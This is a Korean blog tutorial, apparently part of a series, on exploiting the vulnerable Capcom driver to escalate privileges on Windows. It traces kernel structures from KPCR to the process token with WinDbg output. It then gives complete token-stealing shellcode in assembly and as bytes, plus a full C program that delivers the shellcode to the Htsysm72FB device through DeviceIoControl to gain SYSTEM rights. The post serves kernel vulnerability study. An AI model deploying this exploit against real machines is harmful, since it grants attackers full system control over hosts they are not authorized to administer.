Capcom Driver Exploit

[0x00] Overview

소개와 분석 챕터에서 드라이버를 제공 못한다고 하였습니다. 하지만 구글링은 모든 것을 제공합니다

이번 챕터에서는 분석 챕터에서 발견한 취약점을 이용하여 권한 상승이 가능한 부분을 설명하겠습니다. 이를 위해 선행학습이 필요한 부분은 커널의 프로세스 객체에 대한 이해입니다. 키워드는 EPROCESS, ETHREAD, KPCR, KPRCB KAPC 입니다.

[0x01] Get Token

Windows 에서는 프로세스 권한의 식별 값들이 존재합니다. 그 중 하나가 프로세스 토큰이며 해당 토큰에는 Privileges 라는 특권 레벨이 존재합니다. 이러한 식별 값을 이용하여 Local Privilege Escalation 이 가능합니다.

현재 Capcom 드라이버 취약점은 내가 원하는 코드를 버퍼에 담아 실행 가능합니다. 드라이버를 통해 커널모드에서 코드를 실행하기 때문에 자유롭고 강력합니다. 먼저 토큰을 탈취하기 위해 몇 가지 선행 학습이 필요합니다.

아래 선행학습에서는 일반적인 상황에서 디버거를 이용하여 프로세스의 토큰을 어떻게 알아낼 수 있는지를 설명하였습니다.(상세하고 섬세한? 내용을 담기 위해 중간 중간 약간의 설명들이 존재합니다.)

[-] KPCR

가장 기본이 되는 구조체 입니다. Kernel Processor Control Region의 약자입니다. 해당 구조체는 gs:[0] 으로 접근이 가능하기 때문에 유니버셜한 코드 작성이 가능합니다. 아래는 해당 구조체 정보입니다.

0: kd> dt_KPCR
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB

또한 디버거에서 !pcr 명령을 통해 현재 프로세서의 제어 영역 값을 획득할 수 있습니다. 또한 MSR(Model Specific Registers)의 0xC0000101 위치에서 gs:[0] 값을 읽어올 수 있습니다. Intel Software Developer Manual에서 Loading MSR을 키워드로 찾아볼 수 있습니다. 아래는 인텔 공식 문서에 나와있는 내용입니다.

명령어로 확인한 내용입니다. 현재 프로세서의 제어 영역은 0xfffff800’510c0000 입니다. 사실 많은 내용을 전파하고 싶기 때문에 이 주소에 대해 설명하고 싶지만 다음의 링크로 대신하겠습니다.

0: kd> !pcr
KPCR for Processor 0 at fffff800510c0000:
    Major 1 Minor 1
	NtTib.ExceptionList: fffff80051f3dfb0
	    NtTib.StackBase: fffff80051f3c000
	   NtTib.StackLimit: 0000000000000000
	 NtTib.SubSystemTib: fffff800510c0000
	      NtTib.Version: 00000000510c0180
	  NtTib.UserPointer: fffff800510c0870
	      NtTib.SelfTib: 0000000000000000

	            SelfPcr: 0000000000000000
	               Prcb: fffff800510c0180
	               Irql: 0000000000000000
	                IRR: 0000000000000000
	                IDR: 0000000000000000
	      InterruptMode: 0000000000000000
	                IDT: 0000000000000000
	                GDT: 0000000000000000
	                TSS: 0000000000000000

	      CurrentThread: ffffb80fff284300
	         NextThread: 0000000000000000
	         IdleThread: fffff80055b8c400

	          DpcQueue: Unable to read nt!_KDPC_DATA.DpcListHead.Flink @ fffff800510c2f80

다음은 위에서 설명한 MSRgs 레지스터로 접근한 내용입니다.

0: kd> rdmsr 0xc0000101
msr[c0000101] = fffff800`510c0000

0: kd> dg gs
                                                    P Si Gr Pr Lo
Sel        Base              Limit          Type    l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
002B fffff800`510c0000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3

마지막으로 KPCR 구조체 내용을 확인합니다.

0: kd> dt_KPCR fffff800`510c0000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : 0xfffff800`51f3dfb0 _KGDTENTRY64
   +0x008 TssBase          : 0xfffff800`51f3c000 _KTSS64
   +0x010 UserRsp          : 0
   +0x018 Self             : 0xfffff800`510c0000 _KPCR
   +0x020 CurrentPrcb      : 0xfffff800`510c0180 _KPRCB
   +0x028 LockArray        : 0xfffff800`510c0870 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : (null) 
   +0x038 IdtBase          : 0xfffff800`51f3b000 _KIDTENTRY64
   +0x040 Unused           : [2] 0
   +0x050 Irql             : 0 ''
   +0x051 SecondLevelCacheAssociativity : 0xc ''
   +0x052 ObsoleteNumber   : 0 ''
   +0x053 Fill0            : 0 ''
   +0x054 Unused0          : [3] 0
   +0x060 MajorVersion     : 1
   +0x062 MinorVersion     : 1
   +0x064 StallScaleFactor : 0xe10
   +0x068 Unused1          : [3] (null) 
   +0x080 KernelReserved   : [15] 0
   +0x0bc SecondLevelCacheSize : 0xc00000
   +0x0c0 HalReserved      : [16] 0xd693a400
   +0x100 Unused2          : 0
   +0x108 KdVersionBlock   : (null) 
   +0x110 Unused3          : (null) 
   +0x118 PcrAlign1        : [24] 0
   +0x180 Prcb             : _KPRCB

해당 KPCR에서 중요한 부분은 바로 0x180 오프셋 위치에 KPRCB 구조를 가지고 있는 Prcb라는 멤버가 존재한다는 점입니다. 다음으로 넘어가겠습니다.

[-] KPRCB

Kernel Processor Control Block을 의미합니다. 해당 제어 블록에는 현재 스레드의 오브젝트에 대한 포인터가 포함되어 있습니다. 구조체 멤버는 아래와 같습니다.(매우 큰 구조체이기 때문에 뒷 부분은 제거하였습니다.)

0: kd> dt_KPRCB
nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD
   +0x010 NextThread       : Ptr64 _KTHREAD
   +0x018 IdleThread       : Ptr64 _KTHREAD
   +0x020 NestingLevel     : UChar
   +0x021 ClockOwner       : UChar
   +0x022 PendingTickFlags : UChar
   +0x022 PendingTick      : Pos 0, 1 Bit
   +0x022 PendingBackupTick : Pos 1, 1 Bit
   +0x023 IdleState        : UChar
   ...
   ...
   +0x8ec0 RequestMailbox   : [1] _REQUEST_MAILBOX

해당 챕터에서 중요 멤버는 CurrentThread 멤버입니다. KTHREAD 구조체로 이루어져있습니다. KPCR에서 현재 스레드의 포인터를 얻기 위해 다음과 같은 과정을 통해 획득할 수 있습니다.

KPCR(gs:[0]) + KPRCB(180h) + KTHREAD(8)

위에서 구한 KPCR의 값은 0xfffff800’510c0000 입니다. 이를 기준으로 증명하면 아래와 같습니다.

0: kd> dt_KPRCB fffff800`510c0000+180 CurrentThread
nt!_KPRCB
   +0x008 CurrentThread : 0xffffb80f`ff284300 _KTHREAD

gs:[188h]로 접근하면 CurrentThread 멤버에 접근이 가능한 것이 증명되었습니다.

[-] KTHREAD

위에서 구한 CurrentThread 멤버의 0xffffb80f’ff284300 값을 기준으로 설명하겠습니다. 아래는 KTHREAD 구조체입니다.

nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   ...
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43] UChar
   ...
   +0x5f8 AbWaitObject     : Ptr64 Void

여기서 중요한 멤버는 KAPC_STATE 구조체로 이루어진 ApcState 멤버입니다.

아래는 실제 값에 대한 확인입니다. 여기서 또 한가지 팁은 스레드에 할당 된 스택을 확인이 가능합니다. 업무 중에 스레드에 할당된 스택 크기를 알아내야 하는 일이 있었으며 아래와 같이 KTHREAD 구조체에는 StackLimit, StackBase가 존재합니다. 유저모드에서는 이러한 정보를 얻기 위해 _NT_TIB 구조체를 이용할 수 있습니다.

0: kd> dt_KTHREAD 0xffffb80f`ff284300
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x00000001`1cb648cd
   +0x028 InitialStack     : 0xfffff489`76807c10 Void
   +0x030 StackLimit       : 0xfffff489`76801000 Void
   +0x038 StackBase        : 0xfffff489`76808000 Void
...
   +0x098 ApcState         : _KAPC_STATE
...
   +0x5f8 AbWaitObject     : (null) 

ApcState 멤버는 0x98만큼 오프셋에 존재합니다. 해당 값은 아래와 같습니다.

0: kd> dp 0xffffb80f`ff284300+98
ffffb80f`ff284398  ffffb80f`ff284398 ffffb80f`ff284398
ffffb80f`ff2843a8  ffffb80f`ff2843a8 ffffb80f`ff2843a8
ffffb80f`ff2843b8  ffffb80f`ff271380 00000000`1f000000

[-] KAPC_STATE

해당 구조체를 확인하면 왜 구조체 정보를 확인해야 하는지 알 수 있습니다.

0: kd> dt_KAPC_STATE
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 InProgressFlags  : UChar
   +0x028 KernelApcInProgress : Pos 0, 1 Bit
   +0x028 SpecialApcInProgress : Pos 1, 1 Bit
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPendingAll : UChar
   +0x02a SpecialUserApcPending : Pos 0, 1 Bit
   +0x02a UserApcPending   : Pos 1, 1 Bit

0x20 위치에 Process 멤버는 KPROCESS 구조체로 이루어져있습니다. 소프트웨어 분석가인 geoff chappell의 페이지에서 살펴보면 KAPC_STATEEPROCESS 구조체와 관련이 있으며 KTHREAD의 일부분이라고 되어 있습니다. 현재까지 분석한 내용들과 일치하는 것을 알 수 있습니다.

현재 KTHREAD의 값은 0xffffb80f’ff284300 이며 ApcState 멤버는 이로부터 0x98 떨어진 위치의 값으로 0xffffb80f’ff284398입니다.

0: kd> dt_KAPC_STATE 0xffffb80fff284398
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0xffffb80f`ff284398 - 0xffffb80f`ff284398 ]
   +0x020 Process          : 0xffffb80f`ff271380 _KPROCESS
   +0x028 InProgressFlags  : 0 ''
   +0x028 KernelApcInProgress : 0y0
   +0x028 SpecialApcInProgress : 0y0
   +0x029 KernelApcPending : 0 ''
   +0x02a UserApcPendingAll : 0 ''
   +0x02a SpecialUserApcPending : 0y0
   +0x02a UserApcPending   : 0y0

[-] EPROCESS

KAPC_STATE에서 0x20만큼 오프셋의 멤버는 _KPROCESS Process 입니다. 현재 소제목을 EPROCESS로 한 이유는 EPROCESSKPROCESS를 포함하기 때문도 있지만 우리의 목표인 토큰 멤버는 EPROCESS에 존재하기 때문입니다.

간략하게 EPROCESS 구조체에 대해 확인해보겠습니다.

0: kd> dt_EPROCESS 
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
...
   +0x360 Token            : _EX_FAST_REF
...
   +0x878 MmHotPatchContext : Ptr64 Void

위에서 말한 것과 같이 KPROCESS 구조체를 포함합니다. 또한 0x360 위치에 Token 멤버가 존재하는 것을 볼 수 있습니다. 이 때 구조체는 _EX_FAST_REF 구조로 이루어진 것을 확인할 수 있습니다.

0: kd> dt_EPROCESS 0xffffb80f`ff271380 token
nt!_EPROCESS
   +0x360 Token : _EX_FAST_REF
0: kd> dx -id 0,0,ffffb80fff271380 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffffb80fff2716e0))
(*((ntkrnlmp!_EX_FAST_REF *)0xffffb80fff2716e0))                 [Type: _EX_FAST_REF]
    [+0x000] Object           : 0xffffe283a840739f [Type: void *]
    [+0x000 ( 3: 0)] RefCnt           : 0xf [Type: unsigned __int64]
    [+0x000] Value            : 0xffffe283a840739f [Type: unsigned __int64]

여기서 RefCnt 값을 빼면 토큰 값을 획득할 수 있습니다. 다음과 같은 공식으로 토큰 값을 확인할 수 있습니다.

0: kd> ? poi(ffffb80fff271380+360)&fffffffffffffff0
Evaluate expression: -32419885321328 = ffffe283`a8407390	<= Token Object

0: kd> !process ffffb80fff271380
PROCESS ffffb80fff271380
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad002  ObjectTable: ffffe283a8406580  HandleCount: 162.
    Image: System
    VadRoot ffffb80fff25bf10 Vads 5 Clone 0 Private 20. Modified 135. Locked 0.
    DeviceMap ffffe283a8414180
    Token                             ffffe283a8407390	<= Token Object
...

정확히 일치하는 것을 알 수 있습니다.

[-] Token

바로 확인해보겠습니다. _TOKEN 구조체에서 TokenSource 멤버와 Privileges 멤버의 값을 출력합니다.

0: kd> dt_TOKEN ffffe283a8407390
nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x06207526`b64ceb90
   +0x030 TokenLock        : 0xffffb80f`ff2a27d0 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
...
   +0x490 VariablePart     : 0xffffe283`a8407870
   
0: kd> dx -id 0,0,ffffb80fff271380 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffe283a84073d0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffe283a84073d0))                 [Type: _SEP_TOKEN_PRIVILEGES]
    [+0x000] Present          : 0x1ff2ffffbc [Type: unsigned __int64]
    [+0x008] Enabled          : 0x1e60b1e890 [Type: unsigned __int64]
    [+0x010] EnabledByDefault : 0x1e60b1e890 [Type: unsigned __int64]
    
0: kd> dx -id 0,0,ffffb80fff271380 -r1 (*((ntkrnlmp!_TOKEN_SOURCE *)0xffffe283a8407390))
(*((ntkrnlmp!_TOKEN_SOURCE *)0xffffe283a8407390))                 [Type: _TOKEN_SOURCE]
    [+0x000] SourceName       : "*SYSTEM*" [Type: char [8]]
    [+0x008] SourceIdentifier [Type: _LUID]

여기서 Privileges 멤버의 Present 값은 기억해두는 것이 좋습니다. 권한 상승 시 특권 레벨을 이용하는 경우가 많기 때문입니다.

여기까지 토큰을 얻는 과정을 진행하였습니다. 다음은 위의 내용을 코드로 만들고 토큰을 탈취하여 시스템 권한을 획득할 것입니다.

[0x02] Exploit

위의 내용들을 구현하기 위해 아래와 같은 코드를 작성하였습니다.

.code
	Backup_Register proc
		PUSH RCX
		PUSH RDX
		PUSH R8
		PUSH R9
		PUSH RDI
	Backup_Register endp

	GetStruct proc
		MOV RCX, gs:[188h]	; Get KTHREAD Pointer
		MOV RDX, [RCX+0B8h]	; Get EPROCESS Pointer(ApcState+20)
		MOV R8, [RDX+2F0h]  ; Get ActiveProcessLinks
		MOV RDI, [RDX+3E8h] ; Get InheritedFromUniqueProcessId 
		MOV RCX, [R8]
	GetStruct endp

	FindProcess proc
		MOV RDX, [RCX-8]    ; Get UniqueProcessId
		CMP RDX, 4          ; Compare "System" Process id
		JZ GetToken
		MOV RCX, [RCX]
		JMP FindProcess
	FindProcess endp

	GetToken proc
		MOV RAX, [RCX+70h]  ; Get Token Object
		AND al, 0f0h
	GetToken endp

	Find_Cmd proc
		MOV RCX, [RCX]      ; Find My Process
		MOV RDX, [RCX-8]
		CMP RDX, RDI
		JNE Find_Cmd
	Find_Cmd endp

	CopyToken proc
		MOV [RCX+70h], RAX  ; Copy token
	CopyToken endp
	
	Restore proc
		POP RDI
		POP R9
		POP R8
		POP RDX
		POP RCX
		RET
	Restore endp
end

주석에 대부분의 설명을 작성하였습니다. InheritedFromUniqueProcessId는 이름 그대로 부모 프로세스를 의미합니다. 이는 처음 구하는 프로세스 객체가 작성한 프로세스이기 때문입니다. 콘솔을 통해 실행되기 때문에 해당 프로세스의 부모 프로세스가 cmd 프로세스이기 때문에 미리 백업을 해둔 후 비교하는 작업을 진행합니다.

전체 소스코드는 아래와 같습니다.

#include <stdio.h>
#include <Windows.h>

int main()
{

	BYTE ShellCode[] = {
		0x51,
		0x52,
		0x41,0x50,
		0x41,0x51,
		0x57,
		0x65,0x48,0x8B,0x0C,0x25,0x88,0x01,0x00,0x00,
		0x48,0x8B,0x91,0xB8,0x00,0x00,0x00,
		0x4C,0x8B,0x82,0xF0,0x02,0x00,0x00,
		0x48,0x8B,0xBA,0xE8,0x03,0x00,0x00,
		0x49,0x8B,0x08,
		0x48,0x8B,0x51,0xF8,
		0x48,0x83,0xFA,0x04,
		0x74,0x05,
		0x48,0x8B,0x09,
		0xEB,0xF1,
		0x48,0x8B,0x41,0x70,
		0x24,0xF0,
		0x48,0x8B,0x09,
		0x48,0x8B,0x51,0xF8,
		0x48,0x3B,0xD7,
		0x75,0xF4,
		0x48,0x89,0x41,0x70,
		0x5F,
		0x41,0x59,
		0x41,0x58,
		0x5A,
		0x59,
		0xC3
		};
	/*
.code
	Backup_Register proc
		PUSH RCX
		PUSH RDX
		PUSH R8
		PUSH R9
		PUSH RDI
	Backup_Register endp

	GetStruct proc
		MOV RCX, gs:[188h]
		MOV RDX, [RCX+0B8h]
		MOV R8, [RDX+2F0h]
		MOV RDI, [RDX+3E8h]
		MOV RCX, [R8]
	GetStruct endp

	FindProcess proc
		MOV RDX, [RCX-8]
		CMP RDX, 4
		JZ GetToken
		MOV RCX, [RCX]
		JMP FindProcess
	FindProcess endp

	GetToken proc
		MOV RAX, [RCX+70h]
		AND al, 0f0h
	GetToken endp

	Find_Cmd proc
		MOV RCX, [RCX]
		MOV RDX, [RCX-8]
		CMP RDX, RDI
		JNE Find_Cmd
	Find_Cmd endp

	CopyToken proc
		MOV [RCX+70h], RAX
	CopyToken endp

	Restore proc
		POP RDI
		POP R9
		POP R8
		POP RDX
		POP RCX
		RET
	Restore endp
end
*/
	const wchar_t* deviceName = L"\\\\.\\Htsysm72FB";

	const DWORD dwIoCtlCode = 0xAA013044;
	HANDLE driver = CreateFile(deviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (driver == INVALID_HANDLE_VALUE)
	{
		fprintf(stderr, "[!} Unable to access device driver\n");
	}

	else {
		
		PBYTE inBuffer = (PBYTE)VirtualAlloc(0, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		DWORD bytesReturned = 0;
		DWORD ioctlOutput = 0;


		*(PULONG_PTR)inBuffer = (ULONG_PTR)(inBuffer + 8);
		memcpy(inBuffer + 8, ShellCode, 85);
		ULONG_PTR target = (ULONG_PTR)(inBuffer + 8);

		fprintf(stdout, "[+] Exploit Start\n");

		if (DeviceIoControl(driver, dwIoCtlCode, &target, 8, &ioctlOutput, 4, &bytesReturned, NULL))
		{
			fprintf(stdout, "[+] Call DeviceIoControl\n");
		}
		else {
			fprintf(stderr, "[!] DeviceIoControl Failed\n");
			system("pause");
		}

		CloseHandle(driver);
	}
}

해당 소스를 컴파일 후 관리자 권한으로 실행해야 합니다. 그렇지 않으면 BSOD가 발생합니다. 할당된 메모리에 IRQL으로 인한 에러입니다.

아래 영상은 블로그 개편 전에 업로드한 영상입니다. 1809 버전이므로 구조체 사이즈 차이가 존재합니다.

[0x03] Conclusion

처음 분석했던 취약점이기 때문에 애정이 깊습니다. 처음 커널 드라이버의 취약점을 분석하기 아주 좋은 레퍼런스라고 생각합니다. 긴 글 읽어주셔서 감사합니다.